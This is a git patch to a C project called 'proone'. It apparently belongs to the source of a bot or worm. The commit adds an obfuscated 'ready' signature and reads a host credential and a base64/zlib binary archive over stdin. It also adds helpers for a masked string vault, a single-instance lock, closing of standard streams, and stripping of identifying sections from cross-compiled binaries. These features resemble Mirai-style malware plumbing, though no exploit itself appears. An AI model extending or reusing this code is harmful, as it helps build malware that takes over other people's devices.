From 6e456edb2757cf9d28d306afb836aa16780fb912 Mon Sep 17 00:00:00 2001
From: David Timber <mieabby@gmail.com>
Date: Wed, 1 Jan 2020 08:47:51 +1100
Subject: checkpoint

---
 proone.code-workspace         |  11 ++-
 scripts/xcomp.sh              |   2 +-
 src/proone-print-all-data.c   |   2 +-
 src/proone.c                  |  77 +++++++++++++++++++--
 src/proone.h                  |   2 +
 src/proone_dvault.c           |  22 ++++--
 src/proone_dvault.h           |   2 +-
 src/proone_heartbeat-worker.c |   2 +
 src/proone_pack.c             |  67 ++++++++----------
 src/proone_util.c             | 154 +++++++++++++++++++++++++++++++++++++++++-
 src/proone_util.h             |   6 +-
 11 files changed, 294 insertions(+), 53 deletions(-)

diff --git a/proone.code-workspace b/proone.code-workspace
index 77878e2..97ca196 100644
--- a/proone.code-workspace
+++ b/proone.code-workspace
@@ -5,6 +5,15 @@
 		}
 	],
 	"settings": {
-		"editor.insertSpaces": false
+		"editor.insertSpaces": false,
+		"C_Cpp.default.cStandard": "c11",
+		"C_Cpp.default.defines": [
+			"_GNU_SOURCE"],
+		"C_Cpp.default.compilerArgs": [
+			"-pedantic",
+			"-Wall",
+			"-Wextra",
+			"-Wno-switch",
+			"-Wno-unused-parameter"]
 	}
 }
diff --git a/scripts/xcomp.sh b/scripts/xcomp.sh
index 2ff24a5..8790696 100755
--- a/scripts/xcomp.sh
+++ b/scripts/xcomp.sh
@@ -1,7 +1,7 @@
 #!/bin/bash
 OUT="$PROONE_BIN_PREFIX.$PROONE_BIN_ARCH"
 
-./configure --host="$PROONE_HOST" &&\
+./configure --host="$PROONE_HOST" $PROONE_AM_CONF &&\
     make -j$(nproc) &&\
     cp -a src/proone "$OUT" &&\
     "$PROONE_HOST-strip" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr "$OUT" &&\
diff --git a/src/proone-print-all-data.c b/src/proone-print-all-data.c
index 0c89cba..adf5ee9 100644
--- a/src/proone-print-all-data.c
+++ b/src/proone-print-all-data.c
@@ -15,7 +15,7 @@ int main (void) {
 
 		switch (type) {
 		case PROONE_DATA_TYPE_CSTR:
-			printf("%10lld: %s\n", (long long)i, proone_dvault_unmask_entry_cstr(i));
+			printf("%10lld: %s\n", (long long)i, proone_dvault_unmask_entry_cstr(i, NULL));
 			break;
 		default:
 			fprintf(stderr, "Error: unhandled data type (%d)'%s'\n", (int)type, proone_data_type2str(type));
diff --git a/src/proone.c b/src/proone.c
index 5e2d672..7ddaa8b 100644
--- a/src/proone.c
+++ b/src/proone.c
@@ -45,7 +45,7 @@ static bool ensure_single_instance (void) {
     int fd;
 
     fd = shm_open(
-        proone_dvault_unmask_entry_cstr(PROONE_DATA_KEY_PROC_LIM_SHM),
+        proone_dvault_unmask_entry_cstr(PROONE_DATA_KEY_PROC_LIM_SHM, NULL),
         O_RDWR | O_CREAT | O_TRUNC,
         0666);
     proone_dvault_reset_dict();
@@ -151,6 +151,54 @@ static void proc_fin_call (void) {
     }
 }
 
+static void print_ready_signature (void) {
+    size_t len;
+    uint8_t *sig_data;
+    char *plain_str, *sig_str;
+    
+    plain_str = proone_dvault_unmask_entry_cstr(PROONE_DATA_KEY_SIGN_INIT_OK, &len);
+
+    sig_data = (uint8_t*)malloc(len + 1);
+    sig_data[0] = (uint8_t)(proone_rnd_gen_int(pne_global.rnd) % 256);
+    memcpy(sig_data + 1, plain_str, len);
+    proone_dvault_reset_dict();
+    proone_dvault_invert_mem(len, sig_data + 1, sig_data[0]);
+
+    sig_str = proone_enc_base64_mem(sig_data, len);
+    if (sig_str == NULL) {
+        abort();
+    }
+
+    puts(sig_str);
+
+    free(sig_str);
+    free(sig_data);
+}
+
+static void read_host_credential (void) {
+    static const size_t buf_size = (1 + 2 + 255 * 2) * 4 / 3;
+    char *buf = (char*)malloc(buf_size);
+    size_t i;
+    bool found = false;
+
+    for (i = 0; i < buf_size; i += 1) {
+        if (read(STDIN_FILENO, &buf[i], 1) != 1) {
+            goto END;
+        }
+
+        if (buf[i] == '\n') {
+            found = true;
+            break;
+        }
+    }
+    if (found) {
+        proone_dec_base64_mem(buf, i, &pne_global.host_cred_data, &pne_global.host_cred_size);
+    }
+
+END:
+    free(buf);
+}
+
 
 int main (const int argc, char **args) {
     int exit_code = 0;
@@ -158,6 +206,8 @@ int main (const int argc, char **args) {
     worker_tuple_t *wt;
     proone_worker_sched_info_t sched_info;
 
+    pne_global.host_cred_data = NULL;
+    pne_global.host_cred_size = 0;
     pne_global.has_proc_lim_lock = false;
     pne_global.bin_ready = false;
     pne_global.caught_signal = 0;
@@ -173,9 +223,9 @@ int main (const int argc, char **args) {
 #endif
     init_rnd_engine();
 
+    print_ready_signature();
+    read_host_credential();
     // get fed with the bin archive
-    puts(proone_dvault_unmask_entry_cstr(PROONE_DATA_KEY_SIGN_INIT_OK));
-    proone_dvault_reset_dict();
     pne_global.bin_pack = proone_unpack_bin_archive(STDIN_FILENO);
     if (pne_global.bin_pack.result == PROONE_UNPACK_BIN_ARCHIVE_OK) {
         pne_global.bin_ready = proone_index_bin_archive(&pne_global.bin_pack, &pne_global.bin_archive) == PROONE_INDEX_BIN_ARCHIVE_OK;
@@ -185,12 +235,12 @@ int main (const int argc, char **args) {
     close(STDIN_FILENO);
     close(STDOUT_FILENO);
     close(STDERR_FILENO);
-    errno = 0;
 
     // install signal handlers
     // try to exit gracefully upon reception of these signals
     signal(SIGINT, handle_interrupt);
     signal(SIGTERM, handle_interrupt);
+    signal(SIGCHLD, SIG_IGN);
 #ifndef DEBUG
     signal(SIGPIPE, SIG_IGN);
 #endif
@@ -271,6 +321,9 @@ int main (const int argc, char **args) {
             void *ny_mem;
             size_t pollfd_ptr;
 
+            /* FIXME: `total_pollfd_size` could be zero if there's some bug in
+            * one of the workers.
+            */
             ny_mem = realloc(pollfd_pool.arr, total_pollfd_size * sizeof(struct pollfd));
             if (ny_mem != NULL) {
                 pollfd_pool.arr = (struct pollfd*)ny_mem;
@@ -279,6 +332,11 @@ int main (const int argc, char **args) {
                 pollfd_ptr = 0;
                 for (i = 0; i < worker_pool_size; i += 1) {
                     wt = &worker_pool[i];
+
+                    if (wt->worker.has_finalised(wt->worker.ctx)) {
+                        continue;
+                    }
+                    
                     if (wt->sched_req.flags & PROONE_WORKER_SCHED_FLAG_POLL) {
                         wt->sched_req.pollfd_ready = false;
                         memcpy(pollfd_pool.arr + pollfd_ptr, wt->sched_req.pollfd_arr, wt->sched_req.pollfd_arr_size * sizeof(struct pollfd));
@@ -299,6 +357,11 @@ int main (const int argc, char **args) {
                     pollfd_ptr = 0;
                     for (i = 0; i < worker_pool_size; i += 1) {
                         wt = &worker_pool[i];
+
+                        if (wt->worker.has_finalised(wt->worker.ctx)) {
+                            continue;
+                        }
+
                         if (wt->sched_req.flags & PROONE_WORKER_SCHED_FLAG_POLL) {
                             wt->sched_req.pollfd_ready = true;
                             memcpy(wt->sched_req.pollfd_arr, pollfd_pool.arr + pollfd_ptr, wt->sched_req.pollfd_arr_size);
@@ -326,8 +389,12 @@ END:
         wt->sched_req.mem_func.free(&wt->sched_req);
     }
 
+    free(pne_global.host_cred_data);
+    pne_global.host_cred_data = NULL;
+    pne_global.host_cred_size = 0;
+
     if (pne_global.has_proc_lim_lock) {
-        shm_unlink(proone_dvault_unmask_entry_cstr(PROONE_DATA_KEY_PROC_LIM_SHM));
+        shm_unlink(proone_dvault_unmask_entry_cstr(PROONE_DATA_KEY_PROC_LIM_SHM, NULL));
         proone_dvault_reset_dict();
         pne_global.has_proc_lim_lock = false;
     }
diff --git a/src/proone.h b/src/proone.h
index c40a1b1..49e9d9c 100644
--- a/src/proone.h
+++ b/src/proone.h
@@ -6,6 +6,8 @@
 
 
 struct proone_global {
+    uint8_t *host_cred_data;
+    size_t host_cred_size;
     bool has_proc_lim_lock;
     bool bin_ready;
     int caught_signal;
diff --git a/src/proone_dvault.c b/src/proone_dvault.c
index 0347871..1da09cc 100644
--- a/src/proone_dvault.c
+++ b/src/proone_dvault.c
@@ -40,9 +40,12 @@ static uint8_t *unmasked_buf = NULL;
 static size_t unmasked_buf_size = 0;
 
 
-static void pne_dvault_invert_entry (const proone_data_key_t key) {
+static void pne_dvault_invert_entry (const proone_data_key_t key, size_t *len) {
     const size_t entry_size = proone_dvault_get_entry_size(key);
 
+    if (len != NULL) {
+        *len = entry_size;
+    }
     memcpy(unmasked_buf, PROONE_DATA_DICT[key] + 4, entry_size);
     proone_dvault_invert_mem(entry_size, unmasked_buf, proone_dvault_get_entry_salt(key));
 }
@@ -134,12 +137,21 @@ void proone_init_dvault (void) {
 
     for (i = PROONE_DATA_KEY_NONE + 1; i < NB_PROONE_DATA_KEY; i += 1) {
         entry_size = proone_dvault_get_entry_size(i);
+        switch (proone_dvault_get_entry_data_type(i)) {
+        case PROONE_DATA_TYPE_CSTR:
+            entry_size += 1;
+            break;
+        }
+
         if (entry_size > max_size) {
             max_size = entry_size;
         }
     }
 
-    unmasked_buf = malloc(max_size);
+    if (max_size == 0) {
+        abort();
+    }
+    unmasked_buf = calloc(max_size, 1);
     unmasked_buf_size = max_size;
     if (unmasked_buf == NULL) {
         abort();
@@ -163,11 +175,11 @@ uint8_t proone_dvault_get_entry_salt (const proone_data_key_t key) {
     return PROONE_DATA_DICT[key][1];
 }
 
-const char *proone_dvault_unmask_entry_cstr (const proone_data_key_t key) {
+char *proone_dvault_unmask_entry_cstr (const proone_data_key_t key, size_t *len) {
     proone_dvault_reset_dict();
     pne_dvault_entry_check(key, PROONE_DATA_TYPE_CSTR);
-    pne_dvault_invert_entry(key);
-    return (const char*)unmasked_buf;
+    pne_dvault_invert_entry(key, len);
+    return (char*)unmasked_buf;
 }
 
 void proone_dvault_reset_dict (void) {
diff --git a/src/proone_dvault.h b/src/proone_dvault.h
index 0884c98..8dedee6 100644
--- a/src/proone_dvault.h
+++ b/src/proone_dvault.h
@@ -43,5 +43,5 @@ void proone_deinit_dvault (void);
 proone_data_type_t proone_dvault_get_entry_data_type (const proone_data_key_t key);
 size_t proone_dvault_get_entry_size (const proone_data_key_t key);
 uint8_t proone_dvault_get_entry_salt (const proone_data_key_t key);
-const char *proone_dvault_unmask_entry_cstr (const proone_data_key_t key);
+char *proone_dvault_unmask_entry_cstr (const proone_data_key_t key, size_t *len);
 void proone_dvault_reset_dict (void);
diff --git a/src/proone_heartbeat-worker.c b/src/proone_heartbeat-worker.c
index b0d4be2..817021e 100644
--- a/src/proone_heartbeat-worker.c
+++ b/src/proone_heartbeat-worker.c
@@ -47,6 +47,8 @@ static void heartbeat_worker_work (void *in_ctx, const proone_worker_sched_info_
 		}
 		if (revents & POLLIN) {
 			socklen_t addr_len;
+
+			// TODO
 			
 			if (ctx->domain == AF_INET) {
 				struct sockaddr_in remote_addr;
diff --git a/src/proone_pack.c b/src/proone_pack.c
index f9d8c3b..dec602e 100644
--- a/src/proone_pack.c
+++ b/src/proone_pack.c
@@ -1,10 +1,10 @@
 #include "proone_pack.h"
+#include "proone_util.h"
 
 #include <stdint.h>
 #include <stdbool.h>
 #include <stdlib.h>
 #include <string.h>
-#include <ctype.h>
 
 #include <fcntl.h>
 #include <unistd.h>
@@ -37,27 +37,32 @@ proone_unpack_bin_archive_result_t proone_unpack_bin_archive (const int fd) {
     
     proone_unpack_bin_archive_result_t ret;
     BIO *b64_bio = NULL, *mem_bio = NULL;
-    uint8_t fd_buf[fd_buf_size], bio_buf[bio_buf_size], z_buf[z_buf_size];
+    uint8_t *mem = NULL, *fd_buf = NULL, *bio_buf = NULL, *z_buf = NULL;
     int fd_read_size, fd_data_size, bio_write_size, bio_read_size;
     int z_func_ret;
     z_stream stream;
     size_t z_out_size;
     void *ny_buf;
     bool stream_end;
-    size_t i;
 
     proone_init_unpack_bin_archive_result(&ret);
+    memset(&stream, 0, sizeof(z_stream));
+
+    mem = (uint8_t*)malloc(fd_buf_size + bio_buf_size + z_buf_size);
+    if (mem == NULL) {
+        ret.result = PROONE_UNPACK_BIN_ARCHIVE_MEM_ERR;
+        ret.err = errno;
+        goto END;
+    }
+    fd_buf = mem;
+    bio_buf = mem + fd_buf_size;
+    z_buf = mem + fd_buf_size + bio_buf_size;
 
-    stream.zalloc = NULL;
-    stream.zfree = NULL;
-    stream.opaque = NULL;
-    stream.avail_in = 0;
-    stream.next_in = Z_NULL;
     z_func_ret = inflateInit(&stream);
     if (z_func_ret != Z_OK) {
         ret.result = PROONE_UNPACK_BIN_ARCHIVE_Z_ERR;
         ret.err = z_func_ret;
-        return ret;
+        goto END;
     }
 
     if ((mem_bio = BIO_new(BIO_s_mem())) == NULL || (b64_bio = BIO_new(BIO_f_base64())) == NULL) {
@@ -81,21 +86,7 @@ proone_unpack_bin_archive_result_t proone_unpack_bin_archive (const int fd) {
         }
 
         // remove white spaces
-        fd_data_size = fd_read_size;
-        for (i = 0; i < (size_t)fd_data_size; ) {
-            if (isspace(fd_buf[i])) {
-                if (i + 1 >= (size_t)fd_data_size) {
-                    // last trailing whitespace
-                    fd_data_size -= 1;
-                    break;
-                }
-                memmove(fd_buf + i, fd_buf + i + 1, fd_data_size - i - 1);
-                fd_data_size -= 1;
-            }
-            else {
-                i += 1;
-            }
-        }
+        fd_data_size = proone_str_shift_spaces((char*)fd_buf, (size_t)fd_read_size);
 
         if (fd_data_size > 0) {
             BIO_reset(mem_bio);
@@ -133,31 +124,33 @@ proone_unpack_bin_archive_result_t proone_unpack_bin_archive (const int fd) {
                     } 
 
                     z_out_size = z_buf_size - stream.avail_out;
-                    ny_buf = realloc(ret.data, ret.data_size + z_out_size);
-                    if (ny_buf == NULL) {
-                        ret.result = PROONE_UNPACK_BIN_ARCHIVE_MEM_ERR;
-                        ret.err = errno;
-                        break;
+                    if (z_out_size > 0) {
+                        ny_buf = realloc(ret.data, ret.data_size + z_out_size);
+                        if (ny_buf == NULL) {
+                            ret.result = PROONE_UNPACK_BIN_ARCHIVE_MEM_ERR;
+                            ret.err = errno;
+                            break;
+                        }
+                        ret.data = (uint8_t*)ny_buf;
+
+                        memcpy(ret.data + ret.data_size, z_buf, z_out_size);
+                        ret.data_size += z_out_size;
                     }
-                    ret.data = (uint8_t*)ny_buf;
-
-                    memcpy(ret.data + ret.data_size, z_buf, z_out_size);
-                    ret.data_size += z_out_size;
                 } while (stream.avail_out == 0);            
             }
         }
     } while (!stream_end);
 
 END:
-    inflateEnd(&stream);
-    BIO_free(b64_bio);
-    BIO_free(mem_bio);
-
+    free(mem);
     if (ret.result != PROONE_UNPACK_BIN_ARCHIVE_OK) {
         free(ret.data);
         ret.data = NULL;
         ret.data_size = 0;
     }
+    inflateEnd(&stream);
+    BIO_free(b64_bio);
+    BIO_free(mem_bio);
 
     return ret;
 }
diff --git a/src/proone_util.c b/src/proone_util.c
index dc9e498..6017e54 100644
--- a/src/proone_util.c
+++ b/src/proone_util.c
@@ -1,6 +1,13 @@
 #include "proone_util.h"
 
 #include <stdlib.h>
+#include <string.h>
+#include <ctype.h>
+
+#include <errno.h>
+
+#include <openssl/bio.h>
+#include <openssl/evp.h>
 
 
 void proone_succeed_or_die (const int ret) {
@@ -9,6 +16,8 @@ void proone_succeed_or_die (const int ret) {
 	}
 }
 
+void proone_empty_func () {}
+
 void proone_rnd_alphanumeric_str (proone_rnd_engine_t *rnd_engine, char *str, const size_t len) {
 	static const char SET[] = "qwertyuiopasdfghjklzxcvbnm0123456789";
 	size_t i = 0;
@@ -31,7 +40,27 @@ void proone_rnd_alphanumeric_str (proone_rnd_engine_t *rnd_engine, char *str, co
 	}
 }
 
-void proone_empty_func () {}
+size_t proone_str_shift_spaces (char *str, const size_t len) {
+	size_t i, ret = len;
+
+	for (i = 0; i < ret; ) {
+		if (isspace(str[i])) {
+			if (i + 1 >= ret) {
+				// last trailing whitespace
+				ret -= 1;
+				break;
+			}
+			memmove(str + i, str + i + 1, ret - i - 1);
+			ret -= 1;
+		}
+		else {
+			i += 1;
+		}
+	}
+
+	return ret;
+}
+
 
 struct timespec proone_sub_timespec (const struct timespec *a, const struct timespec *b) {
 	struct timespec ret;
@@ -62,3 +91,126 @@ int proone_cmp_timespec (const struct timespec *a, const struct timespec *b) {
 
 	return a->tv_nsec < b->tv_nsec ? -1 : a->tv_nsec > b->tv_nsec ? 1 : 0;
 }
+
+char *proone_enc_base64_mem (const uint8_t *data, const size_t size) {
+	char *ret = NULL, *p = NULL;
+	BIO *b64_bio = NULL, *mem_bio = NULL;
+	bool ok = true;
+	int out_len;
+
+	if (size > INT32_MAX || size == 0) {
+		return NULL;
+	}
+
+	b64_bio = BIO_new(BIO_f_base64());
+	mem_bio = BIO_new(BIO_s_mem());
+	if (b64_bio == NULL || mem_bio == NULL) {
+		ok = false;
+		goto END;
+	}
+	BIO_set_flags(b64_bio, BIO_FLAGS_BASE64_NO_NL);
+	BIO_push(b64_bio, mem_bio);
+
+	if (BIO_write(b64_bio, data, size) != (int)size) {
+		ok = false;
+		goto END;
+	}
+
+	out_len = BIO_get_mem_data(mem_bio, &p);
+	if (out_len < 0) {
+		ok = false;
+		goto END;
+	}
+	if (out_len > 0) {
+		ret = (char*)malloc(out_len + 1);
+		if (ret == NULL) {
+			ok = false;
+			goto END;
+		}
+		memcpy(ret, p, out_len);
+		ret[out_len] = 0;
+	}
+
+END:
+	BIO_free(b64_bio);
+	BIO_free(mem_bio);
+	if (!ok) {
+		free(ret);
+		ret = NULL;
+	}
+
+	return ret;
+}
+
+bool proone_dec_base64_mem (const char *str, const size_t str_len, uint8_t **data, size_t *size) {
+	char *in_mem = NULL;
+	size_t in_mem_len, out_len;
+	uint8_t *out_mem = NULL;
+	BIO *b64_bio = NULL, *mem_bio = NULL;
+	bool ret = true;
+	int read_size = 0;
+
+	if (str_len > INT32_MAX) {
+		errno = EINVAL;
+		return false;
+	}
+	if (str_len == 0) {
+		ret = true;
+		goto END;
+	}
+
+	in_mem = (char*)malloc(str_len);
+	if (in_mem == NULL) {
+		ret = false;
+		goto END;
+	}
+	memcpy(in_mem, str, str_len);
+	in_mem_len = proone_str_shift_spaces(in_mem, str_len);
+	if (in_mem_len == 0) {
+		ret = true;
+		goto END;
+	}
+
+	b64_bio = BIO_new(BIO_f_base64());
+	mem_bio = BIO_new_mem_buf(in_mem, in_mem_len);
+	if (b64_bio == NULL || mem_bio == NULL) {
+		ret = false;
+		goto END;
+	}
+	BIO_set_flags(b64_bio, BIO_FLAGS_BASE64_NO_NL);
+	BIO_push(b64_bio, mem_bio);
+	
+	out_len = in_mem_len * 3 / 4;
+	out_mem = (uint8_t*)malloc((size_t)out_len);
+	if (out_mem == NULL) {
+		ret = false;
+		goto END;
+	}
+
+	read_size = BIO_read(b64_bio, out_mem, out_len);
+	if (read_size < 0) {
+		ret = false;
+		goto END;
+	}
+
+END:
+	BIO_free(b64_bio);
+	BIO_free(mem_bio);
+	free(in_mem);
+	if (ret) {
+		if (read_size > 0) {
+			*data = out_mem;
+			*size = (size_t)read_size;
+		}
+		else {
+			free(out_mem);
+			*data = NULL;
+			*size = 0;
+		}
+	}
+	else {
+		free(out_mem);
+	}
+
+	return ret;
+}
diff --git a/src/proone_util.h b/src/proone_util.h
index 730ed3c..605f2a8 100644
--- a/src/proone_util.h
+++ b/src/proone_util.h
@@ -21,10 +21,14 @@ bool proone_strendsw (const char *str, const char *w) {
 #endif
 
 void proone_succeed_or_die (const int ret);
+void proone_empty_func ();
 
 void proone_rnd_alphanumeric_str (proone_rnd_engine_t *rnd_engine, char *str, const size_t len);
-void proone_empty_func ();
+size_t proone_str_shift_spaces (char *str, const size_t len);
 
 struct timespec proone_sub_timespec (const struct timespec *a, const struct timespec *b);
 double proone_real_timespec (const struct timespec *ts);
 int proone_cmp_timespec (const struct timespec *a, const struct timespec *b);
+
+char *proone_enc_base64_mem (const uint8_t *data, const size_t size);
+bool proone_dec_base64_mem (const char *str, const size_t str_len, uint8_t **data, size_t *size);
-- 
cgit v1.2.3-70-g09d2